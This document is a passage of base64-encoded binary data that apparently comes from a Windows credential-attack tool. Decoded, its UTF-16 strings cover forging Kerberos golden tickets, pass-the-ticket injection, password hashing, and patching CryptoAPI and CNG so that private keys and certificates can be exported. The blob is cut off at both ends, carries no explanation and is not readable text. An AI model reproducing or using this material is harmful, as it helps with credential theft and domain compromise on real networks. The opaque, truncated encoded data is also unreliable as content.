wBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAawByAGIAdABnAHQAAAAAAHMAZQByAHYAaQBjAGUAAABpAGQAAAAAAHIAbwBkAGMAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAABjAGwAYQBpAG0AcwAAAAAAMAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAEMAbABhAGkAbQBzACAAIAAgACAAOgAKAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAACAALQAgACUAcwAKAAAAAABTAGUAcgB2AGkAYwBlACAAIAAgADoAIAAlAHMACgAAAFQAYQByAGcAZQB0ACAAIAAgACAAOgAgACUAcwAKAAAATABpAGYAZQB0AGkAbQBlACAAIAA6ACAAAAAAACoAKgAgAFAAYQBzAHMAIABUAGgAZQAgAFQAaQBjAGsAZQB0ACAAKgAqAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEIAZQByAEEAcABwAF8ASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABLAHIAYgB0AGcAdAAgAGsAZQB5ACAAcwBpAHoAZQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgACUAdQAgACgAJQB1ACAAYgB5AHQAZQBzACkAIABmAG8AcgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAFMASQBEACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgAGQAbwBlAHMAIABuAG8AdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABkAG8AbQBhAGkAbgAgAGEAcgBnAHUAbQBlAG4AdAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAdQBzAGUAcgAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhACAAOwAgAEgAYQBzAGgAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAYwBvAHUAbgB0AAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAJQB1AC0AJQAwADgAeAAuACUAcwAAAAAALAAAAD0AAAB8AAAAQwBsAGEAaQBtAHMAWwAlAHUAXQAKAAAAIAAgAFMAbwB1AHIAYwBlAFQAeQBwAGUAOgAgACUAaAB1AAoAAAAAACAAIABFAG4AdAByAGkAZQBzAFsAJQB1AF0ACgAAAAAAIAAgACAAIABJAGQAOgAgACUAcwAKAAAAIAAgACAAIABbAEkATgBUADYANAAgAF0AIAAlAGwAbAAKAAAAIAAgACAAIABbAFUASQBOAFQANgA0AF0AIAAlAHUAbABsAAoAAAAAACAAIAAgACAAWwBTAFQAUgBJAE4ARwBdACAAJQBzAAoAAAAAACAAIAAgACAAWwBCAE8ATwBMACAAIABdACAAJQAwADEANgBsAGwAeAAKAAAAIAAgACAAIABbACEAJQBoAHUAIQBdAAoAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAKAAkAIAAgACAAUwBlAHIAdgBpAGMAZQAgAE4AYQBtAGUAIAAAAAAACgAJACAAIAAgAFQAYQByAGcAZQB0ACAATgBhAG0AZQAgACAAAAAAAAoACQAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgAAAAAAAgACgAIAAlAHcAWgAgACkAAAAAAAoACQAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAAAAAAoACQAgACAAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAKAAkAIAAgACAAIAAgAAAAAAAAAAoACQAgACAAIABUAGkAYwBrAGUAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzACAAOwAgAGsAdgBuAG8AIAA9ACAAJQB1AAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAABoAHcAXwBhAHUAdABoAGUAbgB0AAAAAABwAHIAZQBfAGEAdQB0AGgAZQBuAHQAAABpAG4AaQB0AGkAYQBsAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AdgBhAGwAaQBkAAAAcABvAHMAdABkAGEAdABlAGQAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcAByAG8AeAB5AAAAcAByAG8AeABpAGEAYgBsAGUAAABmAG8AcgB3AGEAcgBkAGUAZAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAACgAJQAwADIAaAB1ACkAIAA6ACAAAAAAACUAdwBaACAAOwAgAAAAAAAoAC0ALQApACAAOgAgAAAAQAAgACUAdwBaAAAAbgB1AGwAbAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAGMAcgBjACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA0ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1AF8AbgB0ACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBlAHgAcAAgACAAIAAgAAAAcgBjADQAXwBsAG0AIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBzAGgAYQAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0ACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZABfAGUAeABwAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAXwBlAHgAcAAgAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAdQBuAGsAbgBvAHcAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAdHt7dHtpfXR7aX10ewAAAHt0e3t0e2l9dHsAAH10ewB9fX19AAAAAHR7e3R7e3t0ewAAAH19fX19fQAAfX19AHR7e3R7AAAAfXR7e3R7aX10e299fX10ewAAAAB9AAAAdHt7e3R7aX10ewAAe3t0e2l9dHtvfX19AAAAAG8AAAB9fQAAe3R7aX10e3sAAAAAe3R7aX0AAAB0e2l9AAAAAHR7b319AAAAe3R7aX10e299fQAAcwB0AGEAdAB1AHMAAAAAAHMAaQBuAGcAbABlAAAAAABvAGYAZgAAAHQAZQBzAHQAAAAAAGIAdQBzAHkAbABpAGcAaAB0AAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEkATgBQAFUAVABFAFYARQBOAFQAAAAAAEwASQBHAEgAVAAAAFMATwBVAE4ARAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABCAHUAcwB5AEwAaQBnAGgAdAAgAGQAZQB0AGUAYwB0AGUAZAAKAAAAAAAAAAoAWwAlADMAdQBdACAAJQBzAAoAIAAgAFYAZQBuAGQAbwByADoAIAAwAHgAJQAwADQAeAAsACAAUAByAG8AZAB1AGMAdAA6ACAAMAB4ACUAMAA0AHgALAAgAFYAZQByAHMAaQBvAG4AOgAgADAAeAAlADAANAB4AAoAIAAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAA6ACAAJQBzAAoAIAAgAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzACAAIAA6ACAAMAB4ACUAMAAyAHgAIAAoACAAAAAlAHMALAAgAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAIAAgACAAIABQAHIAbwBkAHUAYwB0AEkAZAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAEMAbwBzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABTAGUAcgBpAGEAbAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABzAHcAcgBlAGwAZQBhAHMAZQAgACAAOgAgACUAUwAKAAAAAAAgACAASwBlAGUAcABBAGwAaQB2AGUAIABUAGgAcgBlAGEAZAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAgACAAVwBvAHIAawBlAHIAIABUAGgAcgBlAGEAZAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHMAdABhAHQAdQBzACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABbACUAMwB1AF0AIAAlAHMAIAAoACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAGMAbwBsAG8AcgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAGkAbgBnAGwAZQAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAcAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABzAHQAbwByAGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAABrAGUAeQBzAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAABzAGMAAAAAAEwAaQBzAHQAIABzAG0AYQByAHQAYwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAAAAAAAAAAABIAGEAcwBoACAAYQAgAHAAYQBzAHMAdwBvAHIAZAAgAHcAaQB0AGgAIABvAHAAdABpAG8AbgBhAGwAIAB1AHMAZQByAG4AYQBtAGUAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABXAGkAbgBkAG8AdwBzACAAUwB5AHMAdABlAG0AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGYAaQBsAGUALAAgAFQATwBEAE8AOgByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlACkAAABzAGMAYQB1AHQAaAAAAAAAQwByAGUAYQB0AGUAIABhACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAYwBlAHIAdABpAHQAaQBmAGEAdABlACAAKABzAG0AYQByAHQAYwBhAHIAZAAgAGwAaQBrAGUAKQAgAGYAcgBvAG0AIABhACAAQwBBAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAGMAcgB5AHAAdABvAAAAAABDAHIAeQBwAHQAbwAgAE0AbwBkAHUAbABlAAAAcgBzAGEAZQBuAGgAAAAAAENQRXhwb3J0S2V5AG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAATkNyeXB0RW51bUtleXMAAE5DcnlwdE9wZW5LZXkAAABOQ3J5cHRJbXBvcnRLZXkATkNyeXB0RXhwb3J0S2V5AE5DcnlwdEdldFByb3BlcnR5AAAATkNyeXB0U2V0UHJvcGVydHkAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAE5DcnlwdEZyZWVPYmplY3QAAAAAQkNyeXB0RW51bVJlZ2lzdGVyZWRQcm92aWRlcnMAAABCQ3J5cHRGcmVlQnVmZmVyAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAC0AMQAzAHMAIAAoACUAMgB1ACkAIAAtACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlAHMAOgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAVAB5AHAAZQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAABzAHkAcwB0AGUAbQBzAHQAbwByAGUAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABzAGkAbABlAG4AdAAAAAAAbgBvAGsAZQB5AAAATQB5AAAAAABzAHQAbwByAGUAAAAAAAAAIAAqACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAgADoAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoACgAAAAAAKABuAHUAbABsACkAAAAAAAkASwBlAHkAIABDAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAkAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAkAUAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQAgACAAOgAgACUAcwAgACgAJQB1ACkACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAgACAAIAAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAcgBvAHYAaQBkAGUAcgAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgAgACUAMAA